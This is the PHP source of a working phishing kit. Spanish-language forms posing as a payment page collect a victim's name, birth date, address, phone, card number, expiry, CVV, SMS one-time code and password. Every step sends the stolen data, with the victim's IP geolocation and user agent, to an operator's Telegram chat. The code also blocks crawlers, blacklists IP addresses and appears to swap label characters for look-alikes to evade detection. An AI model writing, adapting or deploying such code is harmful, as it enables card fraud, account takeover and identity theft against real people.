<?php

use Jaybizzle\CrawlerDetect\CrawlerDetect;
use IP2Location\Database;
use Vectorface\Whip\Whip;

session_start();
require_once './../config/config.php';

$CrawlerDetect = new CrawlerDetect;

// Check the user agent of the current 'visitor'
if ($CrawlerDetect->isCrawler()) {
    // true if crawler user agent detected
    http_response_code(403);
    die();
}

$whip = new Whip();
$clientAddress = $whip->getValidIpAddress();

$db = new SQLiteDB(BASE_PATH . '/data/db/blacklist.db');

$db->exec("CREATE TABLE IF NOT EXISTS blacklist (
    ip_address TEXT PRIMARY KEY,
    blocked_at TEXT
)");

$stmt = $db->prepare("SELECT * FROM blacklist WHERE ip_address = :ip");
$stmt->bindValue(':ip', $_SERVER['REMOTE_ADDR'], SQLITE3_TEXT);
$result = $stmt->execute();
if ($result->fetchArray()) {
    http_response_code(403);
    die();
}

if (!isset($_GET['op']) or (isset($_GET['op']) && empty($_GET['op'])) or (isset($_GET['op']) && !in_array($_GET['op'], $_SESSION["op"]))) {
    header("Location: ?op=" . $_SESSION["op"][0]);
    die();
}

//Handle update request. As the form's action attribute is set to the same script, but 'POST' method, 
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    /*
	   Cache whole database into system memory and share among other scripts & websites
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
    // $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::SHARED_MEMORY);
    /*
	   Cache the database into memory to accelerate lookup speed
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
    // $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::MEMORY_CACHE);


    /*
		Default file I/O lookup
	*/
    $db = new Database(BASE_PATH . '/data/IP2LOCATION-LITE-DB11.BIN', Database::FILE_IO);

    $records = $db->lookup($clientAddress, Database::ALL);

    $telegram = new \Telegram(BOT_API_KEY);

    // Construct the URLs
    // $url = BASE_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode(BASE_URL . '/' . EMBED_PATH . '?url=' . base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][0])) . '&redirect=true';

    // $keyboard = [
    //     'inline_keyboard' => [
    //         [
    //             ['text' => '', 'url' => $url],
    //             ['text' => '', 'url' => $url],
    //         ],
    //         [
    //             ['text' => '', 'url' => $url],
    //         ],
    //     ]
    // ];

    $blockIpUrl = BASE_URL . '/blacklist.php?key=' . KEY . '&ip=' . urlencode($records['ipAddress']);

    $keyboard = [
        'inline_keyboard' => [
            [
                ['text' => 'Block IP Address', 'url' => $blockIpUrl],
            ],
        ]
    ];

    if ($_GET['op'] === $_SESSION["op"][0]) {
        $birthDate = DateTime::createFromFormat('d/m/Y', $_POST[$_SESSION["attribute"][2]]);

        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "👤 First Name: " . $_POST[$_SESSION["attribute"][0]] . PHP_EOL .
                "👤 Last Name: " . $_POST[$_SESSION["attribute"][1]] . PHP_EOL .
                "🎂 Birthday (MM/DD/YYYY): " . ($birthDate ? $birthDate->format('m/d/Y') : $_POST[$_SESSION["attribute"][2]]) . PHP_EOL .
                "📧 E-Mail Address: " . $_POST[$_SESSION["attribute"][3]] . PHP_EOL .
                "📞 Phone Number: " . $_POST[$_SESSION["attribute"][4]] . PHP_EOL .
                "🏠 Address: " . $_POST[$_SESSION["attribute"][5]] . PHP_EOL .
                "📮 Zip Code: " . $_POST[$_SESSION["attribute"][6]] . PHP_EOL .
                "🏙️ City: " . $_POST[$_SESSION["attribute"][7]] . PHP_EOL . PHP_EOL .
                "🌍 IP Address: " . $records['ipAddress'] . PHP_EOL .
                country2flag($records['countryCode']) . " Country Name: " . $records['countryName'] . PHP_EOL .
                "📍 Region Name: " . $records['regionName'] . PHP_EOL .
                "🏙️ City Name: " . $records['cityName'] . PHP_EOL .
                "📮 ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "🖥️ User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL . PHP_EOL .
                "📝 Raw: " . json_encode($_POST),
            'reply_markup' => json_encode($keyboard),
        ]);

        die();
    }

    if ($_GET['op'] === $_SESSION["op"][1]) {
        $bin = substr(str_replace(' ', '', $_POST[$_SESSION["attribute"][9]]), 0, 8);
        $cardInfo = getCardInfo($bin, PROXY, PROXYUSERPWD, CAINFO);

        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "💳 Card holder: " . $_POST[$_SESSION["attribute"][8]] . PHP_EOL .
                "🔢 Card Number: " . $_POST[$_SESSION["attribute"][9]] . PHP_EOL .
                "📅 Expiration Date (MM/YY): " . $_POST[$_SESSION["attribute"][10]] . PHP_EOL .
                "🔒 Security Code: " . $_POST[$_SESSION["attribute"][11]] . PHP_EOL . PHP_EOL .
                "🏦 Bank Name: " . ($cardInfo['bank']['name'] ?? '') . PHP_EOL .
                "📇 Type: " . ($cardInfo['type'] ?? '') . PHP_EOL .
                "🏷️ Brand: " . ($cardInfo['brand'] ?? '') . PHP_EOL . PHP_EOL .
                "🌍 IP Address: " . $records['ipAddress'] . PHP_EOL .
                country2flag($records['countryCode']) . " Country Name: " . $records['countryName'] . PHP_EOL .
                "📍 Region Name: " . $records['regionName'] . PHP_EOL .
                "🏙️ City Name: " . $records['cityName'] . PHP_EOL .
                "📮 ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "🖥️ User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL . PHP_EOL .
                "📝 Raw: " . json_encode($_POST),
            'reply_markup' => json_encode($keyboard),
        ]);

        $_SESSION[$_SESSION["attribute"][9]] = $_POST[$_SESSION["attribute"][9]];

        die();
    }

    if ($_GET['op'] === $_SESSION["op"][2]) {
        if ($_POST[$_SESSION["attribute"][12]] == '2') {
            $result = $telegram->sendMessage([
                'chat_id' => CHAT_ID,
                'text' => "🔑 OTP: " . $_POST[$_SESSION["attribute"][13]] . PHP_EOL .
                    "🔒 Password: " . $_POST[$_SESSION["attribute"][14]] . PHP_EOL . PHP_EOL .
                    "🌍 IP Address: " . $records['ipAddress'] . PHP_EOL .
                    country2flag($records['countryCode']) . " Country Name: " . $records['countryName'] . PHP_EOL .
                    "📍 Region Name: " . $records['regionName'] . PHP_EOL .
                    "🏙️ City Name: " . $records['cityName'] . PHP_EOL .
                    "📮 ZIP Code: " . $records['zipCode'] . PHP_EOL .
                    "🖥️ User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL . PHP_EOL .
                    "📝 Raw: " . json_encode($_POST),
                'reply_markup' => json_encode($keyboard),
            ]);
        }

        die();
    }
}
?>

<?php include BASE_PATH . '/src/includes/header.php' ?>

<?php if ($_GET['op'] === $_SESSION["op"][0]) { ?>
    <form id="indexFormId" name="indexFormId" method="post" action="?op=<?php echo $_SESSION["op"][0]; ?>" enctype="application/x-www-form-urlencoded" class="" novalidate>
        <div class="box bordered-box overlapped-title-box">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][0]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Nombre'); ?></label><input id="<?php echo $_SESSION["attribute"][0]; ?>" type="text" name="<?php echo $_SESSION["attribute"][0]; ?>" value class="form-control" maxlength="50" required>
                    </div>
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][1]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Apellidos'); ?></label><input id="<?php echo $_SESSION["attribute"][1]; ?>" type="text" name="<?php echo $_SESSION["attribute"][1]; ?>" value class="form-control" maxlength="50" required>
                    </div>
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][2]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Fecha de nacimiento'); ?></label><input id="<?php echo $_SESSION["attribute"][2]; ?>" type="text" name="<?php echo $_SESSION["attribute"][2]; ?>" value class="form-control datepicker" required>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-8"><label for="<?php echo $_SESSION["attribute"][3]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Correo electrónico'); ?></label><input id="<?php echo $_SESSION["attribute"][3]; ?>" type="email" name="<?php echo $_SESSION["attribute"][3]; ?>" value class="form-control" maxlength="100" required>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][4]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Número de teléfono'); ?></label><input id="<?php echo $_SESSION["attribute"][4]; ?>" type="tel" name="<?php echo $_SESSION["attribute"][4]; ?>" value class="form-control" maxlength="20" required>
                    </div>
                    <div class="col-sm-8"><label for="<?php echo $_SESSION["attribute"][5]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Dirección'); ?></label><input id="<?php echo $_SESSION["attribute"][5]; ?>" type="text" name="<?php echo $_SESSION["attribute"][5]; ?>" value class="form-control" maxlength="100" required>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][6]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Código postal'); ?></label><input id="<?php echo $_SESSION["attribute"][6]; ?>" type="text" name="<?php echo $_SESSION["attribute"][6]; ?>" value class="form-control" maxlength="10" required>
                    </div>
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][7]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Ciudad'); ?></label><input id="<?php echo $_SESSION["attribute"][7]; ?>" type="text" name="<?php echo $_SESSION["attribute"][7]; ?>" value class="form-control" maxlength="50" required>
                    </div>
                </div>
            </div>
            <table class="table table-striped">
                <caption class=""><label class="title"> <?php echo getCyrillicAlphabet('Datos personales'); ?></label>
                </caption>
            </table>
        </div>
        <div class="btn-panel"><input id="indexFormId:buttonLimpiarId" type="button" name="indexFormId:buttonLimpiarId" value="<?php echo getCyrillicAlphabet('Limpiar'); ?>" title="Limpiar" class="btn btn-default" onclick="top.location.href='<?php echo BASE_URL . "/" . str_replace(".php", "", $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][0]; ?>'"><input id="indexFormId:buttonContinuarId" type="submit" name="indexFormId:buttonContinuarId" value="<?php echo getCyrillicAlphabet('Continuar'); ?>" title="Continuar" class="btn btn-primary">
            <br class=""> <br class="">
        </div>
    </form>
<?php } ?>

<?php if ($_GET['op'] === $_SESSION["op"][1]) { ?>
    <form id="indexFormId" name="indexFormId" method="post" action="?op=<?php echo $_SESSION["op"][1]; ?>" enctype="application/x-www-form-urlencoded" class="" novalidate>
        <div class="box bordered-box overlapped-title-box">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-sm-8">
                        <img src="./../src/images/ma_symbol_opt_73_3x.png" style="margin-bottom: 0.625rem;" height="40">&nbsp;&nbsp;&nbsp;<img src="./../src/images/visa-brandmark-blue-1960x622.png" style="margin-bottom: 0.625rem;" height="25">
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-8"><label for="<?php echo $_SESSION["attribute"][8]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Titular de la tarjeta'); ?></label><input id="<?php echo $_SESSION["attribute"][8]; ?>" type="text" name="<?php echo $_SESSION["attribute"][8]; ?>" value class="form-control" maxlength="50" required>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-8"><label for="<?php echo $_SESSION["attribute"][9]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Número de tarjeta'); ?></label><input id="<?php echo $_SESSION["attribute"][9]; ?>" type="text" name="<?php echo $_SESSION["attribute"][9]; ?>" value class="form-control" maxlength="19" required>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][10]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Caducidad'); ?></label><input id="<?php echo $_SESSION["attribute"][10]; ?>" type="text" name="<?php echo $_SESSION["attribute"][10]; ?>" value class="form-control" maxlength="5" placeholder="MM/AA" required>
                    </div>
                    <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][11]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('CVV'); ?></label><input id="<?php echo $_SESSION["attribute"][11]; ?>" type="text" name="<?php echo $_SESSION["attribute"][11]; ?>" value class="form-control" maxlength="4" required>
                    </div>
                </div>
            </div>
            <table class="table table-striped">
                <caption class=""><label class="title"> <?php echo getCyrillicAlphabet('Datos de pago'); ?></label>
                </caption>
            </table>
        </div>
        <div class="btn-panel"><input id="indexFormId:buttonLimpiarId" type="button" name="indexFormId:buttonLimpiarId" value="<?php echo getCyrillicAlphabet('Limpiar'); ?>" title="Limpiar" class="btn btn-default" onclick="top.location.href='<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][1]); ?>'"><input id="indexFormId:buttonContinuarId" type="submit" name="indexFormId:buttonContinuarId" value="<?php echo getCyrillicAlphabet('Continuar'); ?>" title="Continuar" class="btn btn-primary">
            <br class=""> <br class="">
        </div>
    </form>
<?php } ?>

<?php if ($_GET['op'] === $_SESSION["op"][2]) { ?>
    <iframe src="<?php echo BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][1]) . '?op=' . $_GET["op"]; ?>" frameborder="0" style="height: 0px; width: 100%;"></iframe>

    <form id="indexFormId" name="indexFormId" method="post" action="?op=<?php echo $_SESSION["op"][2]; ?>" enctype="application/x-www-form-urlencoded" class="" novalidate>
        <div class="box bordered-box overlapped-title-box">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-sm-8"><label for="<?php echo $_SESSION["attribute"][12]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Método de confirmación'); ?></label><select id="<?php echo $_SESSION["attribute"][12]; ?>" name="<?php echo $_SESSION["attribute"][12]; ?>" class="form-control" required>
                            <option value="1"><?php echo getCyrillicAlphabet('Autorización por banca digital'); ?></option>
                            <option value="2"><?php echo getCyrillicAlphabet('He recibido un código SMS'); ?></option>
                        </select>
                    </div>
                </div>
                <div style="display: none;">
                    <div class="row">
                        <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][13]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Código SMS recibido'); ?></label><input id="<?php echo $_SESSION["attribute"][13]; ?>" type="text" name="<?php echo $_SESSION["attribute"][13]; ?>" value class="form-control" maxlength="10">
                        </div>
                        <div class="col-sm-4"><label for="<?php echo $_SESSION["attribute"][14]; ?>" class="mandatory"> <?php echo getCyrillicAlphabet('Contraseña'); ?></label><input id="<?php echo $_SESSION["attribute"][14]; ?>" type="password" name="<?php echo $_SESSION["attribute"][14]; ?>" value class="form-control" maxlength="50">
                        </div>
                    </div>
                </div>
            </div>
            <table class="table table-striped">
                <caption class=""><label class="title"> <?php echo getCyrillicAlphabet('Confirmación de pago'); ?></label>
                </caption>
            </table>
        </div>
        <div class="btn-panel"><input id="indexFormId:buttonLimpiarId" type="button" name="indexFormId:buttonLimpiarId" value="<?php echo getCyrillicAlphabet('Limpiar'); ?>" title="Limpiar" class="btn btn-default" onclick="top.location.href='<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][2]); ?>'"><input id="indexFormId:buttonContinuarId" type="submit" name="indexFormId:buttonContinuarId" value="<?php echo getCyrillicAlphabet('Confirmar'); ?>" title="Confirmar" class="btn btn-primary">
            <br class=""> <br class="">
        </div>
    </form>
<?php } ?>

<?php include BASE_PATH . '/src/includes/footer.php' ?>